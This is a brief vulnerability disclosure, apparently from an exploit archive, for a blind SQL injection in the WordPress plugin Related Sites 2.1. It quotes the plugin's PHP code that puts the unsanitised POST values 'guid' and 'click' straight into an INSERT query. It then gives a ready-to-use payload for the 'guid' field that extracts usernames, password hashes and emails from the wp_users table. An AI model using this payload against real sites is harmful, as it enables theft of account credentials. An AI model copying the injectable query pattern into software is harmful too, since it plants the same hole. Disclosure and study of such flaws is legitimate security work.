WordPress Plugin Related Sites 2.1 Blind SQL Injection Vulnerability

WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln http://wordpress.org/extend/plugins/related-sites/ /wp-content/plugins/related-sites/BTE_RW_webajax.php eLwaux(c) 30.05.2009, uasc.org.ua SQL-Inj 27: $guid = $_POST['guid']; 28: $click = $_POST['click']; 31: $ref = $_SERVER["HTTP_REFERER"]; 40: if ($guid!="" && $click!="" && $hostname!="" && $ipaddr!="" && $ref!="") { 53: $sql = "INSERT INTO $clicks_table_name (guid,click) VALUES ('$guid','$clickinfo')"; 55: } exploit: POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );-- POST: click = . HTTP_REFERER = .